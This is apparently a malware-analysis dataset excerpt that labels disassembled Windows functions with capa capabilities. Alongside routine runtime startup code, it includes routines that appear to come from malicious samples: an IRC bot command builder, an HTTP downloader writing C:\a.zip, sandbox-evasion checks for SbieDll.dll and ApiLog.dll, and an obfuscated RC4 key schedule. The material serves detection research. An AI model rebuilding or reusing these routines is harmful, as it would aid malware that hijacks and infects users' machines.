joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40503c], 1
mov dword [0x405038], 1
mov dword [0x405034], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40500c], eax
mov eax, dword [0x405048]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40505c]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x405044]
mov dword [eax], edx
call sym.__setargv
cmp dword [0x403010], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], sym.__matherr
call sym.___mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401450
Capabilities:
Create process on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x14
call sym.___main
mov dword [esp + 4], 1
mov dword [esp], str.calc.exe
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x4016f0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call sym.___acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call sym.___acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401750
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x405050]
test esi, esi
jle 0x401870
mov eax, dword [0x405054]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401784
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401807
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401770
mov dword [esp], ebx
call sym.___mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401897
mov eax, dword [0x405054]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call sym.__GetPEImageBase
mov edx, dword [0x405054]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401877
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401800
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x401810
add dword [0x405050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x405054]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401800
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym.___report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40178e
mov eax, dword [0x405054]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym.___report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call sym.___report_error
lea esi, [esi]
nop

Function at 0x401dc0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40506c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x405064]
sub esp, 4
test ebx, ebx
je 0x401e15
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x401e0e
test eax, eax
jne 0x401e0e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401df0
mov dword [esp], 0x40506c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402150
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402175
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402180
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402175
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x4021c8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4021be
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4021ca
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x4021b0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x401000
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x404238
push dword [ebp + 0xc]
xor eax, eax
xor edi, edi
mov word [ebp - 4], ax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x401029
push 0xfffffffffffffff8
pop eax
jmp 0x401065
push ebx
jmp 0x401043
push 1
lea eax, [ebp - 4]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov byte [ebp - 4], 0
add edi, ebx
push 0
push 1
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
push esi
test ebx, ebx
jg 0x40102c
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret

Function at 0x401069
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push str.Mozilla_5.0
push esi
push eax
push str.GET___s_HTTP_1.1_r_nHost:__s_r_nUser_Agent:__s_r_nKeep_Alive:_300_r_nConnection:_keep_alive_r_n_r_n
lea eax, [ebp - 0x204]
push 0x1ff
push eax
call fcn.0040156f
push esi
call fcn.00402b8f
add esp, 0x1c
test eax, eax
jne 0x4010b9
push 0xfffffffffffffffc
pop eax
jmp 0x40114f
push edi
push 2
pop esi
push 0x50
mov dword [ebp - 0x210], eax
mov word [ebp - 0x214], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x212], ax
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4010ef
push 0xfffffffffffffffb
jmp 0x401106
push 0x10
lea eax, [ebp - 0x214]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401109
push 0xfffffffffffffffa
pop eax
jmp 0x40114e
lea ecx, [ebp - 0x204]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401112
push 0
sub ecx, edx
lea eax, [ebp - 0x204]
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push str.C:_a.zip
push 3
push ebx
call fcn.0040156f
push ebx
push edi
call fcn.00401228
add esp, 0x14
mov esi, eax
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00402f90
leave
ret
Function at 0x401228
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push esi
push 0
push 1
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
jmp 0x40128e
lea eax, [ebp - 0x404]
push str._r_n_r_n
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x4012a3
cmp esi, 0x400
je 0x401292
push eax
push 1
lea eax, [ebp - 0x404]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add esi, eax
test esi, esi
jg 0x401258
push 0xfffffffffffffff9
pop eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00402f90
leave
ret
push ebx
push dword [ebp + 8]
call section..text
pop ecx
pop ecx
jmp 0x401295

Function at 0x4012b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
push 0x44
pop esi
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
xor edi, edi
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x48], 0x4042bb
xor eax, eax
mov dword [ebp - 0x54], esi
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 1
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push 0x28
push edi
push edi
push edi
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401322
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor eax, eax
cmp dword [ebp + 0xc], 2
sete al
inc eax
pop edi
pop esi
leave
ret

Function at 0x4016d4
Capabilities:
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [0x406120]
lea ecx, [ebp - 0x80]
push ecx
xor edx, edx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x98]
lea ecx, [ebp - 0x78]
push edx
push edx
push ecx
push eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 1
call dword [sym.imp.WS2_32.dll_select]
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
call fcn.00402f90
add ebp, 0x90
leave
ret
Function at 0x401732
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00402b8f
pop ecx
test eax, eax
jne 0x401755
or eax, 0xffffffff
jmp 0x40179d
push esi
push 2
pop esi
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401784
push 0xfffffffffffffffe
pop eax
jmp 0x40179c
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push 0xfffffffffffffffd
cmp eax, 0xffffffff
pop ecx
cmove esi, ecx
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402f90
leave
ret

Function at 0x401804
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x804
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x800], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x814]
push edi
test esi, esi
je 0x4018b4
mov ebp, 0x800
push ebp
xor edi, edi
lea eax, [esp + 0x14]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push esi
call fcn.004016d4
mov ebx, eax
add esp, 0x10
test ebx, ebx
jle 0x4018b0
cmp edi, 0x7ff
je 0x40188a
push 0
push 1
lea eax, [esp + 0x18]
add eax, edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4018ac
add edi, eax
mov al, byte [esp + edi + 0xf]
cmp al, 0xd
je 0x401886
cmp al, 0xa
je 0x401886
push esi
call fcn.004016d4
mov ebx, eax
pop ecx
test ebx, ebx
jg 0x40184d
test ebx, ebx
jle 0x4018b0
cmp edi, 2
jl 0x401830
dec edi
cmp edi, ebp
jae 0x4018cf
lea eax, [esp + 0x10]
mov byte [esp + edi + 0x10], 0
push eax
push esi
call fcn.00401940
pop ecx
pop ecx
test eax, eax
jns 0x401830
jmp 0x4018b6
xor eax, eax
jmp 0x4018b6
mov eax, ebx
jmp 0x4018b6
mov eax, esi
mov ecx, dword [esp + 0x810]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402f90
add esp, 0x804
ret
call fcn.004030c1
int3

Function at 0x4018d5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
xor esi, esi
cmp byte [eax], 0
je 0x4018f6
push esi
push eax
push esi
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x10]
push 1
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x14]
push 2
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push esi
lea ecx, [ebp + 8]
push ecx
push 0x402709
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x40193d
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x401f7b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 0x44]
push edi
mov edi, dword [ebp + 0x14]
push 0x40
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
jne 0x401fcd
push 0x3f
push str.PASS
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_r_n
jmp 0x4020d0
cmp eax, 1
jne 0x401fdb
push 0x3f
push str.NICK
jmp 0x401fb4
cmp eax, 2
jne 0x402001
push 0x3f
lea eax, [ebp - 0x44]
push str.USER
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_____lol__:_s_r_n
jmp 0x402095
cmp eax, 3
jne 0x40200f
push 0x3f
push str.PONG
jmp 0x401fb4
cmp eax, 4
jne 0x402032
push 0x3f
lea eax, [ebp - 0x44]
push str.JOIN
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push edi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s__s_r_n
jmp 0x402095
cmp eax, 5
jne 0x4020b0
cmp dword [0x4070a4], 0
jne 0x4020ab
cmp dword [0x4070a0], 0
je 0x402079
mov ecx, 0x406128
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402070
test dl, dl
je 0x40206c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402070
add eax, 2
add ecx, 2
test dl, dl
jne 0x402050
xor eax, eax
jmp 0x402075
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020ab
push 0x3f
lea eax, [ebp - 0x44]
push str.PRIVMSG
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push edi
lea eax, [ebp - 0x44]
push eax
push str._s__s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x24
jmp 0x4020e4
xor eax, eax
inc eax
jmp 0x40211d
cmp eax, 6
jne 0x40211b
push 0x3f
lea eax, [ebp - 0x44]
push str.QUIT
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x20
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea ecx, [ebp - 0x244]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020fd
push 0
sub ecx, edx
lea eax, [ebp - 0x244]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40211d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00402f90
leave
ret

Function at 0x40212b
Capabilities:
Initialize winsock library

Disassembly:
call fcn.0040217b
test eax, eax
jne 0x40213b
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
push esi
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
call fcn.00402c06
call fcn.004015d7
call dword [sym.imp.WS2_32.dll_WSACleanup]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x40217b
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x190]
neg eax
sbb eax, eax
xor ecx, esp
inc eax
call fcn.00402f90
add esp, 0x194
ret

Function at 0x4021b8
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0xb8]
sub esp, 0x138
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0xb4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x80], str.SbieDll.dll
mov dword [ebp - 0x7c], str.ApiLog.dll
mov dword [ebp - 0x78], str.sbiedll.dll
mov dword [ebp - 0x74], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [ebp - 0x74]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
xor esi, esi
inc esi
cmp eax, esi
jne 0x40223a
jmp 0x40222c
xor edi, edi
push dword [ebp + edi*4 - 0x80]
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
pop ecx
pop ecx
test eax, eax
je 0x40223c
inc edi
cmp edi, 3
jb 0x402212
lea eax, [ebp - 0x74]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
cmp eax, esi
je 0x402210
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0xb4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402f90
add ebp, 0xb8
leave
ret

Function at 0x40225d
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.004021b8
test eax, eax
jne 0x4022bc
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x4022bc
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x4022bc
call fcn.004022c2
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x4042bb]
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push eax
call fcn.0040212b
xor eax, eax
leave
ret 0x10
Function at 0x402b8f
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x402bb4
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402bad
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x402c1d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor ecx, ecx
lea eax, [ebp - 4]
push eax
push ecx
push dword [ebp + 0xc]
mov dword [ebp - 4], ecx
push dword [ebp + 8]
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp + 0x10], 0
mov esi, eax
je 0x402c54
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402c5c
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
pop esi
leave
ret
Function at 0x403947
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403986
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403986
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403986
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403986
cmp dword [ecx + 0x74], 0xe
jbe 0x403986
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1000125c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], 0
call sub.KERNEL32.DLL_GetEnvironmentStringsA
mov ebx, eax
mov dword [ebp - 0x10], ebx
jmp 0x10001299
cmp byte [ebx], 0x3d
je 0x10001285
inc dword [ebp - 0xc]
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
lea ebx, [ebx + edi]
cmp byte [ebx], 0
jne 0x10001278
mov edi, dword [ebp - 0xc]
inc edi
lea edi, [edi*4]
mov dword [ebp - 0x14], edi
push dword [ebp - 0x14]
call sub.CRTDLL.DLL_malloc
pop ecx
mov dword [ebp - 8], eax
mov dword [0x10003010], eax
cmp dword [ebp - 8], 0
jne 0x100012cc
xor eax, eax
jmp 0x10001342
mov ebx, dword [ebp - 0x10]
jmp 0x10001325
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
mov dword [ebp - 4], edi
cmp byte [ebx], 0x3d
je 0x1000131f
push dword [ebp - 4]
call sub.CRTDLL.DLL_malloc
pop ecx
mov esi, dword [ebp - 8]
mov dword [esi], eax
or eax, eax
jne 0x10001308
jmp 0x10001342
push ebx
mov edi, dword [ebp - 8]
push dword [edi]
call sub.CRTDLL.DLL_strcpy
add esp, 8
add dword [ebp - 8], 4
mov edx, dword [ebp - 4]
lea ebx, [ebx + edx]
cmp byte [ebx], 0
jne 0x100012d1
mov edx, dword [ebp - 8]
mov dword [edx], 0
mov eax, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10289fd8
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102d19c4], 0
mov byte [0x102d19c8], 0
mov dword [0x102d19bc], 0x247e
mov dword [0x102d19c0], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1028a030
xor eax, eax
mov dword [0x102d19c0], 0
mov dword [ebp - 0x20], eax
jmp 0x1028a058
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x102d19c0]
add eax, 1
mov dword [0x102d19c0], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1028a030
jmp 0x1028a01f
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x102d19cc], 0
mov edx, dword [0x102d19b8]
mov esi, edx
add esi, 0xffffd965
mov dword [0x102d19bc], esi
mov esi, dword [0x102d19c4]
mov edi, dword [ebp - 0x18]
movzx ebx, byte [edi + eax]
add ebx, esi
mov dword [ebp - 0x24], eax
xor esi, esi
mov dword [ebp - 0x28], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add ebx, edx
mov dword [0x102d19cc], ebx
mov dword [0x102d19bc], 0x162a
mov eax, ebx
cdq
idiv ecx
mov dword [0x102d19c4], edx
mov ecx, dword [ebp - 0x28]
add ecx, 0x26f4
mov dword [0x102d19b8], ecx
mov ecx, dword [ebp - 0x24]
mov cl, byte [edi + ecx]
mov byte [0x102d19c8], cl
mov dword [0x102d19b8], 0x8fc
mov cl, byte [edi + edx]
mov edx, dword [ebp - 0x24]
mov byte [edi + edx], cl
mov dword [0x102d19b8], 0x721
mov cl, byte [0x102d19c8]
mov ebx, dword [0x102d19c4]
mov byte [edi + ebx], cl
mov dword [0x102d19bc], 0x15d4
mov ebx, dword [0x102d19c0]
add ebx, 1
mov dword [0x102d19c0], ebx
cmp ebx, 0x100
mov dword [ebp - 0x20], ebx
jl 0x1028a058
mov dword [0x102d19b8], 0x71f
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret